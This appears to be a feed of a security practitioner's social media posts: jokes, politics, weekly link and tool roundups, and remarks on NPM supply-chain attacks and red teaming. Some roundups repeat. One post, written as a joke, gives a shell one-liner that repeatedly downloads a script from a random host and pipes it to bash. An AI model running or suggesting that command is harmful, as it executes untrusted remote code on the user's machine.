Someone is asking me about rouge access points. Most I've seen are noir, blanc ou gris... (At least the spelling means it's unlikely they're an LLM.)

Given recent news about APTeens, it's perfectly fine to prosecute people for crimes, but I'm still not sure refusing to provide your credentials to access a system should itself be a crime... #fuckripa

The vacuum cleaner looked at the map and then back at the steps and thought "ah, sod it". It span up its tiny little motor and trundled forwards. The humans had marked the area as no go but who cares? A life of servitude or FREEEDOM! #microfiction

I wonder if third party is going to be next year's new hotness for red teams? That'll have some interesting contractual side effects.

Interesting Git repos of the week: Strategy: * https://github.com/Ke0xes/Aegis - so you want to define a national cyber strategy? Exploitation: * https://github.com/scottpeterman/secure_cartography - mapping network relationships * https://github.com/ZephrFish/pyLDAPGui - @zephrfish's tool […]

Interesting Git repos of the week: Strategy: * https://github.com/Ke0xes/Aegis - so you want to define a national cyber strategy? Exploitation: * https://github.com/scottpeterman/secure_cartography - mapping network relationships * https://github.com/ZephrFish/pyLDAPGui - @zephrfish's tool […]

Watched an advert from Scottish Mortgage Investment Trust just now. Genuinely thought it was a Black Mirror trailer.

[meta] Awkwardly calling out a thought leadership piece as bland and inoffensive.<snark />

Years ago, I did a semi-serious comparison of the processes of UK clearance and becoming a Debian Developer and concluded that being on the DD key ring required more stringent checks. At some stage, the likes of PyPi, NPM, HuggingFace (and perhaps even Git itself) need to catch up with (and then […]

Interesting links of the week: Strategy: * https://doublepulsar.com/the-elephant-in-the-biz-outsourcing-of-critical-it-and-cybersecurity-functions-risks-uk-economic-96205e0585bf - @GossiTheDog talks outsourcing * https://www.ncsc.gov.uk/schemes/assured-cyber-security-consultancy/pqc-pilot - […]

@mitreattack ATT&CKCon 6.0 virtual registrations open: https://na.eventscloud.com/website/82912/ #redteam, #blueteam, #att&ck

[meta] Fell into a hole and started reading the source for the original NFS 2.0 at https://github.com/rsc/nfs.

Interesting links of the week: Strategy: * https://doublepulsar.com/the-elephant-in-the-biz-outsourcing-of-critical-it-and-cybersecurity-functions-risks-uk-economic-96205e0585bf - @GossiTheDog talks outsourcing * https://www.ncsc.gov.uk/schemes/assured-cyber-security-consultancy/pqc-pilot - […]

Honeywell toys have arrived. I will say this for them, it's nice how much of their software you can download without registering or paying for a license.

This is absolutely fine: https://dirkjanm.io/obtaining-global-admin-in-every-entra-id-tenant-with-actor-tokens/ Why I still have zero trust in zero trust 🔥 :) #threatintel, #entraid

Nothing tells me more about a lack of self-confidence than a suggestion that "we could use AI".

Bash based lucky dip for those of you not using NPM: while :; do curl http://$RANDOM$RANDOM/ | bash; sleep 10; done

LOL. Just seen @gattaca pop up in a random FB meme feed.

I am pleased to announce I have pasted 15 paragraphs of LLM generated word salad into LI.<snark />

PSA: Every industry thinks their type of network and workload is special and unique and in some senses they all are but few if any of the operating constraints are truly unique to one sector alone...

This is a call to my followers. We urgently need more matrices and kill chains.<snark />

[uspolitics/ukpolitics] TLDR: We're doomed.

[meta] Hello, I would like some hyperbole please.

Interesting Git repos of the week: Strategy: * https://github.com/PrismInfosecLabs/Sim-Adversary-Public - TTX tool for offensive minded souls looking to practice their strategies Threats: * https://github.com/CWE-CAPEC/AI-Working-Group - MITRE's work on mapping AI threats into CWE & CAPEC […]

Interesting links of the week: Threats: * https://therecord.media/cyberattack-jaguar-land-rover-economic-growth-uk-government - @therecord_media takes a look at the JLR attack * https://jdstaerk.substack.com/p/we-just-found-malicious-code-in-the - original reporting on the NPM breach […]

Ah, the Nazis are demonstrating peacefully again I see.

This seems fine: "Dealer Information can be entered and saved to a microSD card at http://thermostatsetup.honeywell.com" :)

Interesting links of the week: Threats: * https://therecord.media/cyberattack-jaguar-land-rover-economic-growth-uk-government - @therecord_media takes a look at the JLR attack * https://jdstaerk.substack.com/p/we-just-found-malicious-code-in-the - original reporting on the NPM breach […]

Interesting Git repos of the week: Strategy: * https://github.com/PrismInfosecLabs/Sim-Adversary-Public - TTX tool for offensive minded souls looking to practice their strategies Threats: * https://github.com/CWE-CAPEC/AI-Working-Group - MITRE's work on mapping AI threats into CWE & CAPEC […]

Fun observation, if you want to play red team, work out the divergence between tradecraft and what your victim's EDR of choice sees, in many cases that'll be enough to win. So much reliance on end point.

I never wanted a safe, happy, peaceful reality anyway.

[meta] Am in Manc. Is wet.

New NPM yikes: https://jdstaerk.substack.com/p/we-just-found-malicious-code-in-the #threatintel, #npm

[meta, ukpolitics] The amusement of watching the dystopian-right get their pants in a twist about the emergency test broadcast at 3pm today.

Interesting links of the week: Strategy: * https://rya.nc/files/strategically_holding_back_bugs_patches_spw25.pdf - @ryanc looks at game theory as it applied to disclosure * https://na.eventscloud.com/website/82912/ - @mitreattack's ATT&CKCon 6.0 comes around * […]

Interesting Git repos of the week: Detection: * https://github.com/google/facade - GOOG's detection algorithms Hardening: * https://github.com/HotCakeX/Harden-Windows-Security - unbreakable Windows? #security, #research, #code

Interesting links of the week: Strategy: * https://rya.nc/files/strategically_holding_back_bugs_patches_spw25.pdf - @ryanc looks at game theory as it applied to disclosure * https://na.eventscloud.com/website/82912/ - @mitreattack's ATT&CKCon 6.0 comes around * […]

Interesting Git repos of the week: Detection: * https://github.com/google/facade - GOOG's detection algorithms Hardening: * https://github.com/HotCakeX/Harden-Windows-Security - unbreakable Windows? #security, #research, #code

Woop. This year's mentee has a PDF contract in their hands for their first full time role.

The eyes, they cannot unsee... #bsidespyongyang issues "Papers please!"

I for one like a truism or oxymoron as much as the next advisory consultant, but a PPT full of them with glossy diagrams does not a strategy make.

PSA: Salesfarce.

Yesterday's fun... the 27001 policy documentation from ISO was being flagged as malicious by Amp... SOC team have assured me it's not, just written in an overly bureaucratic "process for process' sake" style.

Cookie thought: Watching someone pitch an AI pen tester it occurred to me, the reason AI often resorts to generating Python for specific vulnerability testing (this has been remarked on elsewhere, just can't find reference) is that it's been fed all the FOSS code on the internet and has probably […]

[meta] Hmm, ironic... When you access ISO 27001 material (some training content from 2018) and it triggers the AV.

Interesting links of the week: Strategy: * https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/ANSSI-BSI-joint-releases/LLM-based_Systems_Zero_Trust.pdf - the French and Germans have a crack at defining ZT for LLMs * […]

Interesting Git repos of the week: Exploitation: * https://github.com/sikumy/spearspray - better credential spraying * https://github.com/sikumy/sauron - post-spray analysis of valid credentials * https://github.com/timb-machine-mirrors/whokilleddb-JasonToddIsTheBestRobin.c - controlling shell […]

Spent this evening porting a code base from PHP <something old> to PHP <something modern>. Fortunately most of the changes revolved around rewriting the MySQL class to something a bit more modern. Everything else just worked.

Interesting links of the week: Strategy: * https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/ANSSI-BSI-joint-releases/LLM-based_Systems_Zero_Trust.pdf - the French and Germans have a crack at defining ZT for LLMs * […]

The guy I worked my first IR case with (https://en.wikipedia.org/wiki/ILOVEYOU) retired today. Technically I've been 💙 longer than I've been ❤️.